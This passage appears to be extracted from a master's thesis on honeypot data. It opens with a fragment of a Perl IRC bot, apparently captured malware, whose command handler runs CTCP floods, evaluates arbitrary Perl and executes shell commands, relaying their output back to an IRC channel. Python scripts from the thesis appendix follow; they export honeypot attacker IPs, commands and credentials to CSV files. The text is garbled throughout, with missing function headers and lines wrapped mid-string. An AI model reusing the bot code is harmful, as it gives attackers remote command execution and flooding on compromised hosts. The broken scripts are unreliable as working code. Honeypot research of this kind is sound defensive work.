   if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { 
      for (my $cf = 1; $cf <= $1; $cf++) { 
        ctcp("$2", "$3"); 
      } 
   } 
   if ($case =~ /^nick (.*)/) { 
      nick("$1"); 
   } 
   if ($case =~ /^connect\s+(\S+)\s+(\S+)/) { 
       conectar("$2", "$1", 6667); 
   } 
   if ($case =~ /^raw (.*)/) { 
      sendraw("$1"); 
   } 
   if ($case =~ /^eval (.*)/) { 
     eval "$1"; 
   } 
} 
 
sub shell { 
  my $printl=$_[0]; 
  my $comando=$_[1]; 
  if ($comando =~ /cd (.*)/) { 
    chdir("$1") || msg("$printl", "No such file or directory"); 
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    return; 
  }  
  elsif ($pid = fork) { 
     waitpid($pid, 0); 
  } else { 
      if (fork) { 
         exit; 
       } else { 
           my @resp=`$comando 2>&1 3>&1`; 
           my $c=0; 
           foreach my $linha (@resp) { 
             $c++; 
             chop $linha; 
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha"); 
             if ($c == "$linas_max") { 
               $c=0; 
               sleep $sleep; 
             } 
           } 
           exit; 
       } 




sub ctcp { 
   return unless $#_ == 1; 
   sendraw("PRIVMSG $_[0] :\001$_[1]\001"); 
} 
sub msg { 
   return unless $#_ == 1; 
   sendraw("PRIVMSG $_[0] :$_[1]"); 
}   
sub notice { 
   return unless $#_ == 1; 
   sendraw("NOTICE $_[0] :$_[1]"); 
} 
sub op { 
   return unless $#_ == 1; 
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   sendraw("MODE $_[0] +o $_[1]"); 
} 
sub deop { 
   return unless $#_ == 1; 
   sendraw("MODE $_[0] -o $_[1]"); 
} 
sub j { &join(@_); } 
sub join { 
   return unless $#_ == 0; 
   sendraw("JOIN $_[0]"); 
} 
sub p { part(@_); } 
sub part { 
  sendraw("PART $_[0]"); 
} 
sub nick { 
  return unless $#_ == 0; 
  sendraw("NICK $_[0]"); 
} 
sub quit { 















Appendix C: Developed Code 







from urllib.request import urlopen 
from bson import ObjectId, json_util 
from bson.json_util import dumps 
import pygeoip 
from colorama import Fore, init 
init() 
 
# Constant Variables 
BANGALORE = '139.59.4.28' 
FRANKFURT = '46.101.217.143' 
LONDON = '178.62.11.37' 
SINGAPORE = '128.199.233.243' 
SANFRANCISCO = '165.227.53.76' 
DIRECTORY = 'C:/Users/Joshua Faust/Google Drive/Graduate 
Degree/Masters_Thesis/!FINAL_WORKING/Excel_Exports' 
 
# Create a connection to the local MongoDB Instance. 
def mongoCon(): 
    conn = pymongo.MongoClient('localhost', 27017) 
    db = conn.honeypot                             # Set the DB variables as 
global 
    global session, hpfeeds, hpCount, seCount, seCowCount, hpCowCount, 
seP0Count, hpP0Count 
    session = db.session 
    hpfeeds = db.hpfeeds 
    hpCount = hpfeeds.count() 
    seCount = session.count() 
    seCowCount = session.count({'honeypot': "cowrie"}) 
    hpCowCount = hpfeeds.count({'channel' : "cowrie.sessions"}) 
    seP0Count = session.count({'honeypot': "p0f"}) 
    hpP0Count = hpfeeds.count({'channel' : "p0f.events"}) 




    GEOIP = pygeoip.GeoIP("C:/Users/Joshua Faust/Documents/GitKraken/MHN-
Thesis/geoip_data/GeoIP.dat", pygeoip.MEMORY_CACHE) 
    country = GEOIP.country_name_by_addr(ip) 
 






    GEOIP = pygeoip.GeoIP("C:/Users/Joshua Faust/Documents/GitKraken/MHN-
Thesis/geoip_data/GeoLiteCity.dat", pygeoip.MEMORY_CACHE) 
    data = GEOIP.record_by_addr(ip) 
    city = data['city'] 
 






    resultIndex = 0 
    # Crate a CSV File for data output: 
    global csvFile 
    csvFile = open(DIRECTORY+'/HPfeeds_OS_Countries.csv', 'w', newline='') 
    csvWriter = csv.writer(csvFile) 
    csvWriter.writerow(['id','DateTime','IP', 'Server Name', 'Attacker IP', 
'Attacker Country','OS']) 
 
    print(Fore.LIGHTGREEN_EX + '[+] Loading Data from Mongo' + Fore.RESET) 
 
    for hRecord in hpfeeds.find({'channel': "p0f.events"}): # Only run the 
data aggregation if we are looking at a cowrie honeypot 
 
        resultIndex += 1 
        # Get Payload Object Data: 
        payload = hRecord['payload'] 
        payload = dict(payload) 
 
        os = payload.get('os')      # Calculate the OS first to save time! 
 
        if (os != None and os != '???'): 
            id = hRecord['_id'] 
            dt = hRecord['timestamp'] 
            dt = str(dt).strip("{'$date': '")[:-2] 
            dstIP = payload.get('server_ip') 
            srcIP = payload.get('client_ip') 
            srcCountry = getCountry(srcIP) 
 
            if (resultIndex != 0 and resultIndex%5000 == 0): 
                print(Fore.LIGHTMAGENTA_EX + '[+] '+ str(resultIndex) + ' 
lines have been written.' + Fore.RESET) 
 
            if (dstIP == BANGALORE): 
                csvWriter.writerow([id, dt, dstIP, 'Bangalore', srcIP, 
srcCountry, os]) 
            elif (dstIP == FRANKFURT): 
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                csvWriter.writerow([id, dt, dstIP, 'Frankfurt', srcIP, 
srcCountry, os]) 
            elif (dstIP == LONDON): 
                csvWriter.writerow([id, dt, dstIP, 'London', srcIP, 
srcCountry, os]) 
            elif (dstIP == SINGAPORE): 
                csvWriter.writerow([id, dt, dstIP, 'Singapore', srcIP, 
srcCountry, os]) 
            elif (dstIP == SANFRANCISCO): 




if __name__ == "__main__": 
    startTime = time.time() 
    mongoCon() 
    getSessionAttackers() 
    csvFile.close() 
    print(Fore.LIGHTMAGENTA_EX + '[+] Program Completed Successfully') 
    print('[+] Program rumtime: %s' % str((time.time() - startTime )/60) + ' 

























from urllib.request import urlopen 
from bson import ObjectId, json_util 
from bson.json_util import dumps 
import pygeoip 




# Constant Variables 
BANGALORE = '139.59.4.28' 
FRANKFURT = '46.101.217.143' 
LONDON = '178.62.11.37' 
SINGAPORE = '128.199.233.243' 
SANFRANCISCO = '165.227.53.76' 
DIRECTORY = 'C:/Users/Joshua Faust/Google Drive/Graduate 
Degree/Masters_Thesis/!FINAL_WORKING/Excel_Exports' 
 
# Create a connection to the local MongoDB Instance. 
def mongoCon(): 
    conn = pymongo.MongoClient('localhost', 27017) 
    db = conn.honeypot                             # Set the DB variables as 
global 
    global session, hpfeeds, hpCount, seCount, seCowCount, hpCowCount, 
seP0Count, hpP0Count, specialCount 
    session = db.session 
    hpfeeds = db.hpfeeds 
    hpCount = hpfeeds.count() 
    seCount = session.count() 
    seCowCount = session.count({'honeypot': "cowrie"}) 
    hpCowCount = hpfeeds.count({'channel' : "cowrie.sessions"}) 
    seP0Count = session.count({'honeypot': "p0f"}) 
    hpP0Count = hpfeeds.count({'channel' : "p0f.events"}) 
    specialCount = hpfeeds.count({'channel': "cowrie.sessions", 
'payload.loggedin': {'$ne': None}}) 




    GEOIP = pygeoip.GeoIP("C:/Users/Joshua Faust/Documents/GitKraken/MHN-
Thesis/geoip_data/GeoIP.dat", pygeoip.MEMORY_CACHE) 
    country = GEOIP.country_name_by_addr(ip) 





    GEOIP = pygeoip.GeoIP("C:/Users/Joshua Faust/Documents/GitKraken/MHN-
Thesis/geoip_data/GeoLiteCity.dat", pygeoip.MEMORY_CACHE) 
    data = GEOIP.record_by_addr(ip) 
    city = data['city'] 




    resultIndex = 0 
    # Crate a CSV File for data output: 
    global csvFile 
    csvFile = open(DIRECTORY+'/HPfeeds_commands_Countries.csv', 'w', 
newline='') 
    csvWriter = csv.writer(csvFile) 
    csvWriter.writerow(['id','DateTime','IP', 'Server Name', 'Attacker IP', 
'Attacker Country','Commands']) 
 
    print(Fore.LIGHTGREEN_EX + '[+] Loading Data from Mongo' + Fore.RESET) 
 
    for hRecord in hpfeeds.find({'channel': "cowrie.sessions", 
'payload.loggedin': {'$ne': None}}): # Only run the data aggregation if we 
are looking at a cowrie honeypot 
 
        # Get Payload Object Data: 
        payload = hRecord['payload'] 
        payload = dict(payload) 
 
        commands = payload.get('commands')      # Calculate the commands 
 
 
        if (len(commands) != 0): 
 
            resultIndex += 1 
            id = hRecord['_id'] 
            dt = hRecord['timestamp'] 
            dt = str(dt).strip("{'$date': '")[:-2] 
            dstIP = payload.get('hostIP') 
            srcIP = payload.get('peerIP') 
            srcCountry = getCountry(srcIP) 
 
 
            if (resultIndex != 0 and resultIndex%5000 == 0): 
                print(Fore.LIGHTMAGENTA_EX + '[+] '+ str(resultIndex) + ' 
lines have been written.' + Fore.RESET) 
 
            for i in range(0, len(commands)): 
 
                if (dstIP == BANGALORE): 
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                    csvWriter.writerow([id, dt, dstIP, 'Bangalore', srcIP, 
srcCountry, commands[i]]) 
                elif (dstIP == FRANKFURT): 
                    csvWriter.writerow([id, dt, dstIP, 'Frankfurt', srcIP, 
srcCountry, commands[i]]) 
                elif (dstIP == LONDON): 
                    csvWriter.writerow([id, dt, dstIP, 'London', srcIP, 
srcCountry, commands[i]]) 
                elif (dstIP == SINGAPORE): 
                    csvWriter.writerow([id, dt, dstIP, 'Singapore', srcIP, 
srcCountry, commands[i]]) 
                elif (dstIP == SANFRANCISCO): 
                    csvWriter.writerow([id, dt, dstIP, 'San Francisco', 
srcIP, srcCountry, commands[i]]) 
 
 
if __name__ == "__main__": 
    startTime = time.time() 
    mongoCon() 
    getSessionAttackers() 
    csvFile.close() 
    print(Fore.LIGHTMAGENTA_EX + '[+] Program Completed Successfully') 
    print('[+] Program rumtime: %s' % str((time.time() - startTime )/60) + ' 






























from urllib.request import urlopen 
from bson import ObjectId, json_util 
from bson.json_util import dumps 
import pygeoip 




# Constant Variables 
BANGALORE = '139.59.4.28' 
FRANKFURT = '46.101.217.143' 
LONDON = '178.62.11.37' 
SINGAPORE = '128.199.233.243' 
SANFRANCISCO = '165.227.53.76' 




# Create a connection to the local MongoDB Instance. 
def mongoCon(): 
    conn = pymongo.MongoClient('localhost', 27017) 
    db = conn.honeypot                             # Set the DB variables as 
global 
    global session, hpfeeds, hpCount, seCount, seCowCount, hpCowCount, 
seP0Count, hpP0Count 
    session = db.session 
    hpfeeds = db.hpfeeds 
    hpCount = hpfeeds.count() 
    seCount = session.count() 
    seCowCount = session.count({'honeypot': "cowrie"}) 
    hpCowCount = hpfeeds.count({'channel' : "cowrie.sessions"}) 
    seP0Count = session.count({'honeypot': "p0f"}) 
    hpP0Count = hpfeeds.count({'channel' : "p0f.events"}) 




    GEOIP = pygeoip.GeoIP("C:/Users/Joshua Faust/Documents/GitKraken/MHN-
Thesis/geoip_data/GeoIP.dat", pygeoip.MEMORY_CACHE) 
    country = GEOIP.country_name_by_addr(ip) 
 






    GEOIP = pygeoip.GeoIP("C:/Users/Joshua Faust/Documents/GitKraken/MHN-
Thesis/geoip_data/GeoLiteCity.dat", pygeoip.MEMORY_CACHE) 
    data = GEOIP.record_by_addr(ip) 
    city = data['city'] 
 






    resultIndex = 0 
    # Crate a CSV File for data output: 
    global csvFile 
    csvFile = open(DIRECTORY+'/Cowrie_Creds_Countries.csv', 'w', newline='') 
    csvWriter = csv.writer(csvFile) 
    csvWriter.writerow(['id','DateTime','IP', 'Server Name', 'Attacker IP', 
'Attacker Country','Honeypot', 'Username', 'Password']) 
 
    print(Fore.LIGHTGREEN_EX + '[+] Loading Data from Mongo' + Fore.RESET) 
 
    for sRecord in session.find({'honeypot': "cowrie"}): 
                                                                         # 
Only run the data aggregation if we are looking at a cowrie honeypot 
 
        try: 
            for auth in sRecord.get('auth_attempts'): 
                username = str('login: 
{}'.format(auth.get('login'))).replace('login: ', '') 
                password = str('password: 
{}'.format(auth.get('password'))).replace('password: ', '') 
        except: 
            username = None 
            password = None 
        #srcCity = getCity(srcIP) 
        if (password != None and username != None): 
            resultIndex += 1 
 
            hpfeedID = sRecord['hpfeed_id'] 
            id = sRecord['_id'] 
            dt = sRecord['timestamp'] 
            dt = str(dt).strip("{'$date': '")[:-2] 
            dstIP = None 
 
            # For Cowrie Attacks, we need to pull the destination IP from 
hpfeeds 
            try: 
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                dstIP = sRecord['destination_ip'] 
            except: 
                for hRecord in hpfeeds.find({'_id': hpfeedID}): 
                    if (hpfeedID == hRecord['_id']): 
                        tmp = hRecord['payload'] 
                        dump = json.dumps(tmp) 
                        load = json.loads(dump) 
                        dstIP = load['hostIP'] 
 
            srcIP = sRecord['source_ip'] 
            honeypot = sRecord['honeypot'] 
            srcCountry = getCountry(srcIP) 
 
            if (resultIndex != 0 and resultIndex%5000 == 0): 
                print(Fore.LIGHTMAGENTA_EX + '[+] '+ str(resultIndex) + ' 
lines have been written.' + Fore.RESET) 
 
            if (dstIP == BANGALORE): 
                csvWriter.writerow([id, dt, dstIP, 'Bangalore', srcIP, 
srcCountry, honeypot, username, password]) 
            elif (dstIP == FRANKFURT): 
                csvWriter.writerow([id, dt, dstIP, 'Frankfurt', srcIP, 
srcCountry, honeypot, username, password]) 
            elif (dstIP == LONDON): 
                csvWriter.writerow([id, dt, dstIP, 'London', srcIP, 
srcCountry, honeypot, username, password]) 
            elif (dstIP == SINGAPORE): 
                csvWriter.writerow([id, dt, dstIP, 'Singapore', srcIP, 
srcCountry, honeypot, username, password]) 
            elif (dstIP == SANFRANCISCO): 
                csvWriter.writerow([id, dt, dstIP, 'San Francisco', srcIP, 
srcCountry, honeypot, username, password]) 
 
 
if __name__ == "__main__": 
    startTime = time.time() 
    mongoCon() 
    print(Fore.GREEN + '[!] There is a total of %s records' % 
str(seCowCount)) 
    getSessionAttackers() 
    csvFile.close() 
    print(Fore.LIGHTMAGENTA_EX + '[+] Program Completed Successfully') 
    print('[+] Program rumtime: %s' % str((time.time() - startTime )/60) + ' 















from urllib.request import urlopen 
from bson import ObjectId, json_util 
from bson.json_util import dumps 
import pygeoip 





# Constant Variables 
BANGALORE = '139.59.4.28' 
FRANKFURT = '46.101.217.143' 
LONDON = '178.62.11.37' 
SINGAPORE = '128.199.233.243' 
SANFRANCISCO = '165.227.53.76' 




# Create a connection to the local MongoDB Instance. 
def mongoCon(): 
    conn = pymongo.MongoClient('localhost', 27017) 
    db = conn.honeypot                             # Set the DB variables as 
global 
    global session, hpfeeds, hpCount, seCount, seCowCount, hpCowCount, 
seP0Count, hpP0Count 
    session = db.session 
    hpfeeds = db.hpfeeds 
    hpCount = hpfeeds.count() 
    seCount = session.count() 
    seCowCount = session.count({'honeypot': "cowrie"}) 
    hpCowCount = hpfeeds.count({'channel' : "cowrie.sessions"}) 
    seP0Count = session.count({'honeypot': "p0f"}) 
    hpP0Count = hpfeeds.count({'channel' : "p0f.events"}) 




    GEOIP = pygeoip.GeoIP("C:/Users/Joshua Faust/Documents/GitKraken/MHN-
Thesis/geoip_data/GeoIP.dat", pygeoip.MEMORY_CACHE) 
    country = GEOIP.country_name_by_addr(ip) 
 






    GEOIP = pygeoip.GeoIP("C:/Users/Joshua Faust/Documents/GitKraken/MHN-
Thesis/geoip_data/GeoLiteCity.dat", pygeoip.MEMORY_CACHE) 
    data = GEOIP.record_by_addr(ip) 
    city = data['city'] 
 






    resultIndex = 0 
    # Crate a CSV File for data output: 
    global csvFile 
    csvFile = open(DIRECTORY+'/Cowrie_Clients_Countries.csv', 'w', 
newline='') 
    csvWriter = csv.writer(csvFile) 
    csvWriter.writerow(['id','DateTime','IP', 'Server Name', 'Attacker IP', 
'Attacker Country', 'Client']) 
 
    print(Fore.LIGHTGREEN_EX + '[+] Loading Data from Mongo' + Fore.RESET) 
 
    for sRecord in session.find({'honeypot': "cowrie"}): 
                                                                         # 
Only run the data aggregation if we are looking at a cowrie honeypot 
        resultIndex+=1 
        session_version = sRecord['session_ssh'] 
        session_version = dict(session_version) 
        client = session_version.get('version') 
 
        if (client != None and client != ''): 
 
            hpfeedID = sRecord['hpfeed_id'] 
            id = sRecord['_id'] 
            dt = sRecord['timestamp'] 
            dt = str(dt).strip("{'$date': '")[:-2] 
            dstIP = None 
 
            # For Cowrie Attacks, we need to pull the destination IP from 
hpfeeds 
            try: 
                dstIP = sRecord['destination_ip'] 
            except: 
                for hRecord in hpfeeds.find({'_id': hpfeedID}): 
                    if (hpfeedID == hRecord['_id']): 
                        tmp = hRecord['payload'] 
                        dump = json.dumps(tmp) 
                        load = json.loads(dump) 
                        dstIP = load['hostIP'] 
 
            srcIP = sRecord['source_ip'] 
            honeypot = sRecord['honeypot'] 




            if (resultIndex != 0 and resultIndex%5000 == 0): 
                print(Fore.LIGHTMAGENTA_EX + '[+] '+ str(resultIndex) + ' 
lines have been written.' + Fore.RESET) 
 
 
            if (dstIP == BANGALORE): 
                csvWriter.writerow([id, dt, dstIP, 'Bangalore', srcIP, 
srcCountry, honeypot, client]) 
            elif (dstIP == FRANKFURT): 
                csvWriter.writerow([id, dt, dstIP, 'Frankfurt', srcIP, 
srcCountry, honeypot, client]) 
            elif (dstIP == LONDON): 
                csvWriter.writerow([id, dt, dstIP, 'London', srcIP, 
srcCountry, honeypot, client]) 
            elif (dstIP == SINGAPORE): 
                csvWriter.writerow([id, dt, dstIP, 'Singapore', srcIP, 
srcCountry, honeypot, client]) 
            elif (dstIP == SANFRANCISCO): 
                csvWriter.writerow([id, dt, dstIP, 'San Francisco', srcIP, 
srcCountry, honeypot, client]) 
 
 
if __name__ == "__main__": 
    startTime = time.time() 
    mongoCon() 
    print(Fore.GREEN + '[!] There is a total of %s records' % 
str(seCowCount)) 
    getSessionAttackers() 
    csvFile.close() 
    print(Fore.LIGHTMAGENTA_EX + '[+] Program Completed Successfully') 
    print('[+] Program rumtime: %s' % str((time.time() - startTime )/60) + ' 
Minutes' + Fore.RESET) 
 
